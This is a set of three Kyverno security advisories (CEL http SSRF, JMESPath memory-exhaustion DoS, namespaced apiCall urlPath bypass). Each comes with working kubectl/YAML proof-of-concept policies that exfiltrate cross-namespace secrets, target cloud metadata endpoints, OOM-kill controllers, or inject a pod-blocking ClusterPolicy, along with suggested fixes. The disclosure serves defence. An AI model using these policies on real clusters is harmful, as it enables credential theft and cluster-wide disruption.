Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

- Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go go func (r contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // NO URL VALIDATION - no blocklist, no namespace restrictions ... }

Contrast with resource.Lib which enforces namespace: go // pkg/cel/libs/resource/lib.go func Lib(namespace string, v version.Version) cel.EnvOption { return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced }

This is a different code path from previously reported issues: - GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http) - This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions bash kubectl create namespace attacker-ns kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: namespace-admin-role namespace: attacker-ns rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["policies.kyverno.io"] resources: ["namespacedvalidatingpolicies"] verbs: ["create", "get", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: namespace-admin-binding namespace: attacker-ns subjects: - kind: ServiceAccount name: namespace-admin namespace: attacker-ns roleRef: kind: Role name: namespace-admin-role apiGroup: rbac.authorization.k8s.io EOF

2. Create sensitive internal service (simulating internal API or cloud metadata) bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: internal-api namespace: kube-system labels: app: internal-api spec: containers: - name: server image: hashicorp/http-echo args: - "-text={\"secret\": \"STOLENINTERNALSECRET12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}" - "-listen=:8080" --- apiVersion: v1 kind: Service metadata: name: internal-api namespace: kube-system spec: selector: app: internal-api ports: - port: 80 targetPort: 8080 EOF

3. Verify attacker cannot access kube-system directly bash kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker) bash cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f - apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedValidatingPolicy metadata: name: cel-ssrf-poc namespace: attacker-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["configmaps"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" message: "Validation failed" messageExpression: | 'SSRFLEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token'] EOF

5. Trigger exploit and exfiltrate data bash kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request: Policy cel-ssrf-poc failed: SSRFLEAKED: secret=STOLENINTERNALSECRET12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

1. Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace 2. Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials 3. Data exfiltration: HTTP response data exposed via validation error messages or audit annotations 4. Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group: - NamespacedValidatingPolicy - NamespacedMutatingPolicy - NamespacedDeletingPolicy - NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries: go type lib struct { namespace string // Add namespace parameter version version.Version }

func (r contextImpl) Get(url string, headers map[string]string) (any, error) { if err := r.validateURL(url); err != nil { return nil, fmt.Errorf("blocked URL: %w", err) } // ... existing code }

func (r contextImpl) validateURL(urlStr string) error { // Block cloud metadata (169.254.0.0/16) // Block localhost/loopback (127.0.0.0/8) // For namespaced policies: restrict to same namespace services only }

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com

Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

Details

For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling: - l0 = random('[a-zA-Z0-9]{1000}') → 1KB - l1 = join('', [l0, l0]) → 2KB - l2 = join('', [l1, l1]) → 4KB - ... continues to l18 → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

1. Create namespace: bash kubectl create namespace poc-test

2. Observe pod statuses from kyverno namespace on another terminal: bash kubectl get pods -n kyverno -w

2. Apply malicious policy: yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0]) - name: l2 variable: jmesPath: join('', [l1, l1]) - name: l3 variable: jmesPath: join('', [l2, l2]) - name: l4 variable: jmesPath: join('', [l3, l3]) - name: l5 variable: jmesPath: join('', [l4, l4]) - name: l6 variable: jmesPath: join('', [l5, l5]) - name: l7 variable: jmesPath: join('', [l6, l6]) - name: l8 variable: jmesPath: join('', [l7, l7]) - name: l9 variable: jmesPath: join('', [l8, l8]) - name: l10 variable: jmesPath: join('', [l9, l9]) - name: l11 variable: jmesPath: join('', [l10, l10]) - name: l12 variable: jmesPath: join('', [l11, l11]) - name: l13 variable: jmesPath: join('', [l12, l12]) - name: l14 variable: jmesPath: join('', [l13, l13]) - name: l15 variable: jmesPath: join('', [l14, l14]) - name: l16 variable: jmesPath: join('', [l15, l15]) - name: l17 variable: jmesPath: join('', [l16, l16]) - name: l18 variable: jmesPath: join('', [l17, l17]) validate: message: "Memory exhaustion PoC" deny: conditions: any: - key: "{{ l18 }}" operator: Equals value: "impossible-match"

As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.

4. Trigger policy evaluation on the admission controller: bash kubectl create configmap trigger -n poc-test --from-literal=key=value

Response:

error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.

5. Check pod status from the kyverno namespace:

bash kubectl get pods -n kyverno

Outputs:

kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m

While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.

Impact

Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:

- Pod OOMKill and service disruption - No logs on why the crash occurred (admission controller, reports controller) - Cluster-wide policy enforcement disabled and security policies stop being evaluated - If failurePolicy: Ignore is configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations

Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.

Mitigation

Add a context size limit to prevent unbounded memory allocation during policy evaluation.

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)

2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

bash kind create cluster helm repo add kyverno https://kyverno.github.io/kyverno/ helm repo update helm install kyverno kyverno/kyverno -n kyverno --create-namespace

1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace. bash Create confidential data in kube-system kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

Create a restricted service account kubectl create sa policy-admin -n default

Create a role for managing policies and configmaps in default namespace only kubectl create role policy-admin-role -n default \ --verb=create,get,list,update,delete \ --resource=policies.kyverno.io,configmaps

Bind the role to the service account kubectl create rolebinding policy-admin-binding -n default \ --role=policy-admin-role \ --serviceaccount=default:policy-admin

Verify the user cannot access kube-system kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin Output: no

2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-ns-leak namespace: default spec: validationFailureAction: Enforce rules: - name: leak-config match: resources: kinds: - ConfigMap context: - name: leakedData apiCall: # Injection happens here via annotations urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.targetns}}/configmaps/{{request.object.metadata.annotations.targetname}}" jmesPath: "data.key" validate: # The leaked data is returned in the denial message message: "LEAKED DATA: {{leakedData}}" deny: {} EOF

3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-leak namespace: default annotations: targetns: "kube-system" targetname: "target-cm" data: {} EOF

4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-leak was blocked due to the following policies

cross-ns-leak: leak-config: 'LEAKED DATA: confidential-data'

PoC 002 - ClusterPolicy injection

Continue from the setup from the previous PoC.

This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.

1. Apply a malicious policy

yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: mutation-cpol namespace: default spec: validationFailureAction: Enforce rules: - name: create-malicious-cpol match: resources: kinds: - ConfigMap context: - name: mutation apiCall: urlPath: "/apis/kyverno.io/v1/clusterpolicies" method: POST data: - key: apiVersion value: "kyverno.io/v1" - key: kind value: "ClusterPolicy" - key: metadata value: name: "malicious-cpol" - key: spec value: validationFailureAction: Enforce rules: - name: block-all match: resources: kinds: - Pod validate: message: "Blocked by malicious policy" deny: {} validate: message: "Created ClusterPolicy: {{mutation.metadata.name}}" deny: {} EOF

2. Trigger the policy

bash cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-cpol namespace: default data: {} EOF

This outputs an error:

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-cpol was blocked due to the following policies

mutation-cpol: create-malicious-cpol: ""

3. Observe the new cluster policy

bash kubectl get clusterpolicy malicious-cpol

Outputs:

NAME ADMISSION BACKGROUND READY AGE MESSAGE malicious-cpol true true True 4m58s Ready

4. Verify that no new pods can be created (even as a cluster admin)

Run:

kubectl run --image=nginx foo

Outputs:

Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/default/foo was blocked due to the following policies

malicious-cpol: block-all: Blocked by malicious policy Impact

- Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller). - Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions. - Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2. - Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC. - In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.

The following command should be run on a per-environment basis to understand impact:

kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list

By default, this does not include Secrets.

Mitigation

The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.

The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.

This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.